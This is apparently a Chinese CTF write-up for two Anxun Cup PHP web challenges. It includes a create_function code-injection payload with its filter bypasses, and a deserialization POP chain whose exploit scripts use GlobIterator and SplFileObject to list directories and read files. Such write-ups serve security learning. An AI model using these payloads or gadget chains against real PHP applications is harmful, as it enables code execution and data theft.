gi4ntHaRd
      
        
          安洵杯WEB
      
        
          what’s my name
      
        
          源码审计
      | 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 
 | <?phphighlight_file(__file__);
 $d0g3=$_GET['d0g3'];
 $name=$_GET['name'];
 if(preg_match('/^(?:.{5})*include/',$d0g3)){
 $sorter='strnatcasecmp';
 $miao = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
 if(strlen($d0g3)==substr($miao, -2)&&$name===$miao){
 $sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);';
 @$miao=create_function('$a, $b', $sort_function);
 }
 else{
 echo('Is That My Name?');
 }
 }
 else{
 echo("YOU Do Not Know What is My Name!");
 }
 ?>
 
 | 
此时我们可以通过代码审计得知如若要使得最后得@$miao=create_function('$a, $b', $sort_function);产生代码执行的话我们就必须满足上面的两个if条件if(preg_match('/^(?:.{5})*include/',$d0g3))和if(strlen($d0g3)==substr($miao, -2)&&$name===$miao)
        
          构造攻击代码
      那么此时我们先从最后的代码执行入手,先构造攻击代码

此时我们知道reate_function()函数在代码审计中,主要用来查找项目中的代码注入和回调后门的情况;此时根据下面这篇文章我们来构造攻击代码
代码审计之create_function()函数 - 卿先生 - 博客园 (cnblogs.com)
可知
| 12
 3
 4
 5
 6
 7
 8
 
 | $sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);';@$miao=create_function('$a, $b', $sort_function);
 @$miao=create_function('$a, $b', ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);');
 
 匿名函数的执行:
 function miao($a,$b){
 return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);
 }
 
 | 
那么此时经过我们的构造传入?d0g3="]);}phpinfo();/*后;整个匿名函数的执行会变成
| 12
 3
 4
 5
 
 | function miao($a,$b){return 1 * ' . $sorter . '($a["' . $sort_by '"]);
 }
 phpinfo();
 
 
 | 
因为create_function()函数会在内部执行 eval()那么此时便会执行eval(phpinfo())造成代码攻击
        
          preg_match的绕过
      接下来我们开始考虑绕过问题;此时我们从第一个if入手if(preg_match('/^(?:.{5})*include/',$d0g3))此时需要第五个字符后出现include那么此时我们直接在我们原先构造的payload的第五个字符后面直接加入include即可成功实现绕过

        
          strlen($d0g3)==substr($miao, -2)的绕过
      此时要求我们输入的$d0g3长度等于$miao的最后两个字符相等;此时我们输入的?d0g3="]);}include(phpinfo());/*共计26个字符,那么此时的考点在于匿名函数的名字是有规律的;此时运行一次便会加一


那么此时的满足strlen($d0g3)==substr($miao, -2)就很容易了;我们直接执行payload25即可成功满足
        
          $name===$miao的绕过
      此时我们在本地运行时会发现匿名函数的名字前面会有一个空字符;我们直接使用%00来绕过最后这个强比较

        
          payload
      | 1
 | ?d0g3="]);}include(phpinfo());/*&name=%00lambda_26
 | 

        
          easy_unserialize
      
        
          代码审计
      | 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
 100
 101
 102
 
 | <?phperror_reporting(0);
 class Good{
 public $g1;
 private $gg2;
 
 public function __construct($ggg3)  //new时触发
 {
 $this->gg2 = $ggg3;
 }
 
 public function __isset($arg1)  //在不可访问的属性上调用isset()或empty()触发
 {
 if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
 {
 if ($this->gg2)
 {
 $this->g1->g1=666;
 }
 }else{
 die("No");
 }
 }
 }
 class Luck{
 public $l1;
 public $ll2;
 private $md5;
 public $lll3;
 public function __construct($a)   //new时触发
 {
 $this->md5 = $a;
 }
 public function __toString()  //对象被当作字符串调用时
 {
 $new = $this->l1;
 return $new();
 }
 
 public function __get($arg1)  //从不可访问的对象中读取数据
 {
 $this->ll2->ll2('b2');
 }
 
 public function __unset($arg1)  //在不可访问的属性上使用unset()时触发
 {
 if(md5(md5($this->md5)) == 666)
 {
 if(empty($this->lll3->lll3)){
 echo "There is noting";
 }
 }
 }
 }
 
 class To{
 public $t1;
 public $tt2;
 public $arg1;
 public function  __call($arg1,$arg2)  //调用不存在的方法时触发
 {
 if(urldecode($this->arg1)===base64_decode($this->arg1))
 {
 echo $this->t1;
 }
 }
 public function __set($arg1,$arg2)  //设置不存在的成员变量时调用
 {
 if($this->tt2->tt2)
 {
 echo "what are you doing?";
 }
 }
 }
 class You{
 public $y1;
 public function __wakeup()  //使用unserialize时触发
 {
 unset($this->y1->y1);
 }
 }
 class Flag{
 public function __invoke()  //将对象当作函数来使用时执行此方法
 {
 echo "May be you can get what you want here";
 array_walk($this, function ($one, $two) {
 $three = new $two($one);
 foreach($three as $tmp){
 echo ($tmp.'<br>');
 }
 });
 }
 }
 
 
 if(isset($_POST['D0g3']))
 {
 unserialize($_POST['D0g3']);
 }else{
 highlight_file(__FILE__);
 }
 ?>
 
 | 
          反序列化链子的寻找
      此时我们开始寻找反序列化链子;此时我们把链尾定格在class Flag类中

array_walk 函数对数组 $this 中的每个元素应用指定的回调函数。回调函数接收两个参数:$one 为当前元素的值,$two 为当前元素的键。看到这里可以马上想到原生类利用攻击

所以此时我们将其暂时定为链尾;接下来要触发__invoke的条件是当对象被当作函数调用时;此时我们就可以定位到Luck类中的__toString()此时$l1会被当作函数进行调用;而我们知道当对象被当作字符串输出时会触发;所以此时我们依旧定格在Luck类的__unset($arg1)上面;此时的函数会将md5当作字符串进行处理;此时我们继续往下面看;我们知道unset的触发是使用unset()时触发;所以继续定位到You类的__wakeup上面;此时使用了unset($this->y1->y1);会导致Luck类上的unset被触发;至此整条pop链子已经构造完毕
        
          反序列化链子
      | 1
 | You_wakeup() -> Luck_unset() Luck_toString() -> Flag_invoke()
 | 
          反序列化之遍历文件目录类
      上面提到根据最后一个Flag类中的方法我们可知可以构造原生类攻击

        
          exp
      | 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 
 | class Luck{public $l1;
 public $md5;
 
 }
 class You{
 public $y1;
 public function __construct(){
 $this->y1 = new Luck;
 }
 }
 class Flag{
 public $GlobIterator;
 }
 
 $a = new You;
 $a->y1->md5 = new Luck;
 $a->y1->md5->l1 = new Flag;
 $a->y1->md5->l1->GlobIterator="../../../*";
 echo urlencode(serialize($a));
 ?>
 
 
 | 

此时成功得知flag的目录
        
          反序列化之读取文件类
      此时成功遍历文件目录后我们直接读取文件即可
        
          exp
      | 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 
 | <?phpclass Luck{
 public $l1;
 public $md5;
 
 }
 class You{
 public $y1;
 public function __construct(){
 $this->y1 = new Luck;
 }
 }
 class Flag{
 public $SplFileObject;
 }
 
 $a = new You;
 $a->y1->md5 = new Luck;
 $a->y1->md5->l1 = new Flag;
 $a->y1->md5->l1->SplFileObject="/FfffLlllLaAaaggGgGg";
 echo urlencode(serialize($a));
 ?>
 
 | 
